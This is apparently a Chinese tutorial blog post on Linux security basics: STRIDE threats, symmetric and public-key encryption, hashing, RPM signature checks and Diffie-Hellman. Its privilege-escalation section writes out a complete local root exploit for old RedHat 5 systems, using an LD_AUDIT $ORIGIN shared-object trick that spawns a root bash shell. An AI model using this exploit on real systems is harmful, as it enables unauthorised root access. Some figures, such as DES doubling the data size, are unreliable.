Linux操作系统安全-加密和安全扫盲篇
Linux操作系统安全-加密和安全
作者:尹正杰
版权声明:原创作品,谢绝转载!否则将追究法律责任。
一.墨菲定律
墨菲定律:
一种心理学效应,是由爱德华·墨菲(Edward A. Murphy)提出的, 原话:如果有两种或两种以上的方式去做某件事情,而其中一种选择方式将导致灾难,则必定有人会做出这种选择。
主要内容:
任何事都没有表面看起来那么简单
所有的事都会比你预计的时间长
会出错的事总会出错
如果你担心某种情况发生,那么它就更有可能发生
二.安全机制
1>.信息安全防护的目标
保密性(Confidentiality):
数据不能泄漏,比如公司的工资是不可以泄漏的。
完整性(Integrity):
要确保数据是完整的,即没有被改过。
可用性(Usability):
比如raid5,当一块硬盘损坏后,依旧是可以正常使用的。
可控制性(Controlability):
比如的集群最大并发处理连接请求是10万,但在某个时刻你的集群需要处理100万连接请求时你得能控制这些链接,如果你强项用只能处理10万连接请求的集群去响应100万个连接请求,可能瞬间集群就崩溃了,可以采取降级处理,比如使用队列措施,分批次处理,每次处理10万请求,分10次处理完成。如果不能有效控制这些请求会导致集群崩溃。
不可否认性(Non-repudiation):
比如你在某宝或者某东网购了一件商品,当快递送到你家门了你不能拒绝说不是你的东西呀,毕竟你是掏过钱的。
2>.安全防护环节
物理安全:
各种设备/主机、机房环境,比如我们可以轻松破解linux的root口令。
系统安全:
主机或设备的操作系统,比如操作系统的的root安全口令,禁止非法用户连接操作系统。
应用安全:
各种网络服务、应用程序,比如控制用户登录,上传,下载等权限。
网络安全:
对网络访问的控制、防火墙规则,例如sshd服务只有特定的用户或ip才能访问。
数据安全:
信息的备份与恢复、加密解密,比如用户的密码存入数据库时应该加密不能使用明文,早期CSDN的数据库事件想必大家都清楚吧,CSDN号称中国第一大开发网站,结果保存用户名的密码是用明文方式存储,这会导致谁有数据库权限,谁就可以拿到全中国所有开发人员的密码。尽管现在它修复了这个问题,该网站数据安全恶劣性导致很多开发人员也懒得去用了。
管理安全:
各种保障性的规范、流程、方法,比如一些重要的打印数据文件想要废弃时需要使用碎纸机处理后才能交给保洁阿姨打扫。
三.安全攻击(STRIDE)
假冒(Spoofing):
比如邮箱存在漏洞的话,就可以想冒充谁就用谁的身份去发送邮件。
篡改(Tampering):
比如胡歌主演的电视剧<<神话>>,赵高篡改了秦始皇的诏书,最终将皇位并没有传给公子扶苏,而是传给了胡亥。
否认(Repudiation):
这种情况在生产环境太正常了,明明是某个开发人员执行错误命令导致线上服务崩溃,还好运维人员有堡垒机记录用户执行的命令,拥有证据是谁干的。
信息泄漏(Information Discloure):
比如著名的telnet服务传输数据使用明文,如果使用telnet协议登录,用户名和密码均可以使用抓包工具进行抓取,在比如http协议,传输数据也是明文的,用户在网页使用登录密码一抓一个准,在比如很多免费Wi-Fi,只要你通过免费Wi-Fi传输数据所有数据流都会走对方的路由网关,如果有铭感信息会直接被抓取到的,身为一个IT人员保护自己的隐私意识还是要有的。
拒绝服务(Denial of Service):
可以使用ping命令发起简单的攻击,导致服务无法为正常客户端提供响应,从而导致拒绝服务的状态,这种方式建议大家使用警ping策略。
提升权限(Elevation of Privilege):
比如RedHat5操作系统早期有个漏洞,只要安装了gcc软件包,如果你直到一个普通账号就可以把它提示成root用户权限。
第一步,安装gcc工具包: yum -y install gcc 第二步,使用当前用户(yinzhengjie)进行提权操作: mkdir /tmp/yinzhengjie ln /bin/ping /tmp/yinzhengjie/test exec 3 < /tmp/yinzhengjie/test rm -rf /tmp/yinzhengjie cat > /tmp/yinzhengjie.c <<EOF void __attribute__((constructor)) init() { setuid(0); system("/bin/bash"); } EOF gcc -w -fPIC -shared -o /tmp/yinzhengjie /tmp/yinzhengjie.c LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 &> /dev/null
四.安全设计基本原则
使用成熟的安全系统:
不要当小白鼠,比如2019年刚发布的CentOS 8.x版本不推荐大家直接在生产环境中使用。当年大众点评上来就用CentOS 6.2(改版本存在bug),结果185天后自动重启服务器。估计该公司几千台服务器陆陆续续的重启服务器,这意味着会对公司造成严重损失。
以小人之心度输入数据:
要考虑到用户输入的数据不一定会很规范。
外部系统是不安全的:
外部系统主要是指暴漏在公网的服务,比如阿里每天都会有上千万次攻击,因此外部基本上都会有防火墙。其实内部网络也是不太安全的,据说80%的攻击均来自内网造成的。我们直到外网防护有防火墙,其实内网也有类似于防火墙之类的软件比如防水墙。
最小授权:
尽量给开发,测试权限给到最小,只要能满足要求就好。
减少外部接口:
尽量减少和外部连接的通道,比如USB端口使用。
缺省使用安全模式:
比如尽量使用selinux,不过在国内使用该软件的相对较少。
安全不是似是而非:
需要通过一些技术手段来保证的,比如网络设备的端口隔离,vlan之间的是否可以相互通信,防火墙策略是否需要配置,selinux是否需要开启,应用层软件是否需要权限验证等等。
从STRIDE思考:
参考标题三提到的STRIDE相关策略。
在入口处检查:
在入口出做好安全检查,确保不在黑名单之列的话就可以考虑继续为请求响应。
从管理上保护好你的系统:
不仅仅是指技术,还有管理流程等。
五.安全算法
常用安全技术(安全技术会涉及到相应的算法来保证)
认证:
验证用户身份。
授权:
验证身份后,需要给用户进行授权。
审计:
记录用户的操作,直到每个用户都执行了哪些命令便于追责。
安全通信:
数据通信过程中我们需要进行加密,比如https,ssh等协议。
加密算法和协议
对称加密
公钥加密(又称为:"非对称加密算法")
单向加密
认证协议
温馨提示:
加密涉及到算法和秘钥,其中算法是公开的,而秘钥则不公开。
六.对称加密算法
对称加密(加密和解密使用同一个密钥),市面上比较流行的对称加密算法如下所示: DES:
Data Encryption Standard,56bits(即基于七个字节的数据加密标准) 3DES:
在DES的基础上反复加密3次。 AES:
Advanced Ebcryption Standard,它支持128bits(16个字节的数据加密标准),192bits(24个字节的数据加密标准),256bits(32个字节的数据加密标准) 商业加密算法:Blowfish,Twofish 其他加密算法:IDEA,RC6,CAST5 特性: (1)加密、解密使用同一个密钥,效率高 (2)将原始数据分割成固定大小的块,逐个进行加密 缺陷: (1)密钥过多 (2)密钥分发 (3)数据来源无法确认
七.非对称加密算法
公钥加密(密钥是成对出现):
公钥:
公开给所有人;public key
私钥:
自己留存,必须保证其私密性;secret key,
比如公司财务部使用的U盾就是私钥,但为了防止U盾丢失会使用对称秘钥对U盾进行加密,这也就是为什么财务人员使用U盾时需要输入密码,如果密码忘记了就只能去银行重新重置密码了。
比如数字证书就是用私钥加密数据后在传输,只有公钥才能解开加密数据。
特点:
用公钥加密数据,只能使用与之配对的私钥解密;反之亦然(即使用私钥加密的数据只能使用与之配对的公钥进行解密)
使用私钥可以推出公钥,但是使用公钥却推不出私钥。
功能:
数字签名:
主要在于让接收方确认发送方身份
对称密钥交换:
发送方用对方的公钥加密一个对称密钥后发送给对方
数据加密:
适合加密较小数据
缺点:
密钥长,加密解密效率低下
非对称密钥支持的算法:
RSA(支持加密功能,数字签名(用私钥加密),它的应用较广)
DSA(只支持数字签名)
ELGamal(一个基于迪菲-赫尔曼密钥交换的非对称加密算法,它在1985年由塔希尔·盖莫尔提出)
八.RSA和DSA
RSA:
公钥加密算法是1977年由Ron Rivest、Adi Shamirh和Len Adleman在(美国麻省理工学院)开发的,RSA取名来自开发他们三者的名字,后成立RSA数据安全有限公司。RSA是目前最有影响力的公钥加密算法,它能够抵抗到目前为止已知的所有密码攻击,已被ISO推荐为公钥数据加密标准。RSA算法基于一个十分简单的数论事实:将两个大素数相乘十分容易,但那时想要对其乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥
DSA (Digital Signature Algorithm):
1991年7月26日提交,并归属于David W. Kravitz前NSA员工,DSA是Schnorr和ElGamal签名算法的变种,被美国NIST作为SS(DigitalSignature Standard), DSA是基于整数有限域离散对数难题的,其安全性与RSA相比差不多。DSA只是一种算法,和RSA不同之处在于它不能用作加密和解密,也不能进行密钥交换,只用于签名,它比RSA要快很多。
九.单向散列
将任意数据缩小成固定大小的"指纹"
任意长度输入
固定长度输出
若修改数据,指纹也会改变("不会产生冲突")
无法从指纹中重新生成数据("单向")
功能:
数据完整性
常见算法
md5(128bits,不推荐使用,已被中国密码学家王小云教授破解)
sha1(160bits,不推荐使用,已被中国密码学家王小云教授破解)
sha224
sha256
sha384
sha512
常用工具
md5sum | sha1sum [ --check ] file
openssl、gpg
rpm -V
[root@node101.yinzhengjie.org.cn ~]# ll
total 152
-rw-r--r-- 1 root root 154586 Dec 20 07:33 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum messages.html.gz #可以很快通过hash算法得到一共摘要值,这个摘要值就是我们所说的指纹,不推荐使用md5加密算法了,因为它已经被我国密码学教授王小云破解了,为了安全性可以对加密后的数据进行加"盐"处理。
63c44f1dde0f3dca31f1741617c87422 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha1sum messages.html.gz
f862cbad72343a40b27a01fd351fe1298b1c4099 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha224sum messages.html.gz
d811ae33ff10cf64544d799837f87deefba78f3cc5089f08efd9b64e messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha256sum messages.html.gz
d8b91264651b0ec8a3dacc350b7d3eac9037272972ec82aa418047bc50ab5834 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha384sum messages.html.gz
9311cabc378953f1a44f990b4042baaaec47e981892bb3d732d9af75ebb0fb0087d8b4a12a18892a116795e6a31be4f7 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# sha512sum messages.html.gz
2412ef19368c79a5df399b580c3b5d1826d20560e2389a1d957ebf56b023cfd19c004221824778d68361155a16bc8e5f305e8d01308da9fda5254ecfa5506418 messages.html.gz
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo "yinzhengjie" > test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# cat test.log
yinzhengjie
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum test.log > md5.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 8
-rw-r--r-- 1 root root 43 Dec 20 11:20 md5.log
-rw-r--r-- 1 root root 12 Dec 20 11:20 test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum -c md5.log #通过md5校验可以来判断文件是否发生修改
test.log: OK
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo "2019" >> test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# cat test.log
yinzhengjie
2019
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 8
-rw-r--r-- 1 root root 43 Dec 20 11:20 md5.log
-rw-r--r-- 1 root root 17 Dec 20 11:21 test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum -c md5.log
test.log: FAILED
md5sum: WARNING: 1 computed checksum did NOT match
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo "yinzhengjie" > test.log
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# md5sum -c md5.log
test.log: OK
[root@node101.yinzhengjie.org.cn ~]#
十.生产环境中的加密算法剖析
据有人统计:
使用DES算法(对称加密)
加密1G数据,加密后变为2G数据,加密用时4分钟,解密用时8分钟。
使用RSA算法(非对称加密)
加密1G数据,加密后文件大小不变还未1G,加密用时1分钟,解密用时64小时。
举个例子:
若A和B两个人都有对方的公钥且各自都有自己的私钥,若A想要给B发送数据,B如何确认数据一定是A发送过来的呢?
我们假设A的私钥记作A.S,A的公钥记作A.P,同理,B的私钥记作B.S,B的公钥记作B.P。数据则记作data,则关于数据加密算法有以下三种方案:
版本一:("非对称密钥加密 + 非对称密钥",效率极低)
A端操作:
data ----> A.S(data) ----> B.P(A.S(data))
B端操作:
B.S(B.P(A.S(data))) ----> A.P(A.S(data)) ----> data
说明:
在A端使用A的私钥对数据进行加密,再将加密的数据使用B的公钥再次加密,两次加密后发送给B;
当B接收到数据时,使用B自己的私钥进行解密得到使用A的私钥加密的数据,再用A的公钥去解密得到最终的数据。
版本二:("非对称密钥 + hash",效率较低)
A端操作:
data ----> data + A.S(hash(data)) ----> B.P(data + A.S(hash(data)))
B端操作:
B.S(B.P(data + A.S(hash(data)))) ----> data + A.P(A.S(hash(data))) ----> data + hash(data) ---->data
说明:
在A端首先使用单向散列算法给data算出一个hash摘要值,之后A使用自己的私钥对这个摘要值进行加密而不直接对data进行加密,再然后就将data和对hash值加密的数据再通过B的公钥进行加密。两次加密后发送给B;
当B接收到数据时,使用B自己的私钥进行解密得到data和使用A的私钥加密的hash值,于是使用A的公钥对去解密得到data和hash摘要值,之后将数据以同样的单向散列相关算法对接收到的data算的一个hash值,将算出来的hash值和解密的hash值进行对比,若一样说明数据是完整的,若不一样,说明数据丢失或中途被人篡改过。
版本三:("对称密钥 + 非对称密钥 + hash",效率高,生产环境大量使用该方式)
A端操作:
data ----> data + A.S(hash(data)) ----> key{data + A.S(hash(data))} + B.P(key)
B端操作:
B.S(B.P(key)) + key{data + A.S(hash(data))} ----> key{key{data + A.S(hash(data))}} ----> data + A.P(A.S(hash(data))) ----> data + hash(data) ----> data
说明:
在A端首先使用单项散列算法给data算出一个hash摘要值,之后A使用自己的私钥对这个摘要值进行加密而不直接对data进行加密,再然后用对称密钥key对data和A.S(hash(data))进行加密,最后将对称密钥key使用B的公钥进行加密后一起发送给B;
在B端接收到数据时,首先B使用给自己的私钥对key进行解密,得到对称密钥key,使用这个对称密钥对key{data + A.S(hash(data)}进行解密得到data和A.S(hash(data)),然后再用A的共钥对数据再次进行解密得到hash摘要值,再将data使用同样的单项散列算法得到hash与解密出来的hash值进行比较,若一样说明数据时完整的,若不一样说明数据丢失了或者是中途被人修改过了。
十一.数字签名
如下图所示,就是数字证书,它的这种算法就是我们上面提到的版本二的算法实现方式。存在的缺点就是使用非对称密钥对数据进行了一次加密操作。如果能把非对称加密的过程换成对称密钥加密过程效率会更进一步提升。
十一.应用程序:RPM
文件完整性的两种实施方式
被安装的文件
MD5单向散列
rpm --verify package_name (or -V)
发行的软件包文件
GPG公钥签名
rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat*
rpm --checksig pakage_file_name (or -K)
[root@node101.yinzhengjie.org.cn ~]# rpm -qf /etc/issue
centos-release-7-6.1810.2.el7.centos.x86_64
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -V centos-release-7-6.1810.2.el7.centos.x86_64 #验证改软件包安装的文件是否有被修改,如果没有输出说明并没有修改
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /etc/issue
-rw-r--r--. 1 root root 23 Nov 23 2018 /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo >> /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /etc/issue
-rw-r--r--. 1 root root 24 Dec 20 12:39 /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -V centos-release-7-6.1810.2.el7.centos.x86_64 #我们修改了"/etc/issue"后,文件发送变化了,这里就会有输出信息,这个数字5表示内容被修改了
S.5....T. c /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# vim /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /etc/issue
-rw-r--r-- 1 root root 23 Dec 20 12:41 /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -V centos-release-7-6.1810.2.el7.centos.x86_64 #我们将内容还原后,发现依旧有提示信息,这是在提示咱们该文件的修改时间发生变化了
.......T. c /etc/issue
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /mnt/
total 0
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# mount /dev/sr0 /mnt/ #你得确认你的虚拟机依旧接入光盘了才能指向挂载操作
mount: /dev/sr0 is write-protected, mounting read-only
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# cp /mnt/Packages/less-458-9.el7.x86_64.rpm ./ #我们将光盘的文件拷贝到家目录
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 120
-rw-r--r-- 1 root root 122672 Dec 20 12:48 less-458-9.el7.x86_64.rpm
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /mnt/RPM-GPG-KEY-CentOS-7 #光盘中有一个公钥文件
-rw-rw-r-- 1 root root 1690 Dec 10 2015 /mnt/RPM-GPG-KEY-CentOS-7
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 #该目录也有一个公钥文件,和上面两个公钥文件大小一样,内容也一样
-rw-r--r--. 1 root root 1690 Nov 23 2018 /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# diff /mnt/RPM-GPG-KEY-CentOS-7 /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7 #我们可以导入安装公钥
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -qa "*pubkey" #导入成功后就可以搜索到公钥啦
gpg-pubkey-f4a80eb5-53a7ff4b
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -K less-458-9.el7.x86_64.rpm #我们使用"-k"参数来校验一下该文件的md5是否符合官方的校验,若出现ok字样说明就是官网的~并没有发生篡改。
less-458-9.el7.x86_64.rpm: rsa sha1 (md5) pgp md5 OK
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 120
-rw-r--r-- 1 root root 122672 Dec 20 12:48 less-458-9.el7.x86_64.rpm
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# echo >> less-458-9.el7.x86_64.rpm #注意,如果我们在该文件中添加一个换行符,说明文件被修改了
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# ll
total 120
-rw-r--r-- 1 root root 122673 Dec 20 12:56 less-458-9.el7.x86_64.rpm
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]# rpm -K less-458-9.el7.x86_64.rpm #若出现"PGP MD5 NOT OK"字样说明文件被修改了,即不是官网的安装包,已经被人篡改过了。
less-458-9.el7.x86_64.rpm: rsa sha1 (MD5) PGP MD5 NOT OK
[root@node101.yinzhengjie.org.cn ~]#
[root@node101.yinzhengjie.org.cn ~]#
十二.密钥交换
对称密钥交换:IKE( Internet Key Exchange ) 方案一: 公钥加密,使用对方的公钥进行加密,就算有中间人拿到数据没有私钥是解不开的,也只有发送给拥有私钥的人才能解开并拿到对称密钥,在进行后续的操作。 方案二: DH (Deffie-Hellman)生成会话密钥,由惠特菲尔德·迪菲(Bailey Whitfield Diffie)和马丁·赫尔曼(Martin Edward Hellman)在1976年发表。 DH (Deffie-Hellman)工作原理: 1>.第一步: A: g,p 协商生成公开的整数g, 大素数p B: g,p 2>.第二步: A:生成隐私数据 :a (a<p ),计算得出 g^a%p,发送给B B:生成隐私数据 :b,计算得出 g^b%p,发送给A 3>.第三步: A:计算得出 [(g^b%p)^a] %p = g^ab%p,生成为密钥 B:计算得出 [(g^a%p)^b] %p = g^ab%p,生成为密钥
举个例子:
A:a=4,g=5,p=23
B:b=3,g=5,p=23
A:{(5^3%23)^4}%23=18
B:{(5^4%23)^3}%23=18
当你的才华还撑不起你的野心的时候,你就应该静下心来学习。当你的能力还驾驭不了你的目标的时候,你就应该沉下心来历练。问问自己,想要怎样的人生。
欢迎交流学习技术交流,个人微信: "JasonYin2020"(添加时请备注来源及意图备注)
作者: 尹正杰, 博客: https://www.cnblogs.com/yinzhengjie/p/12057884.html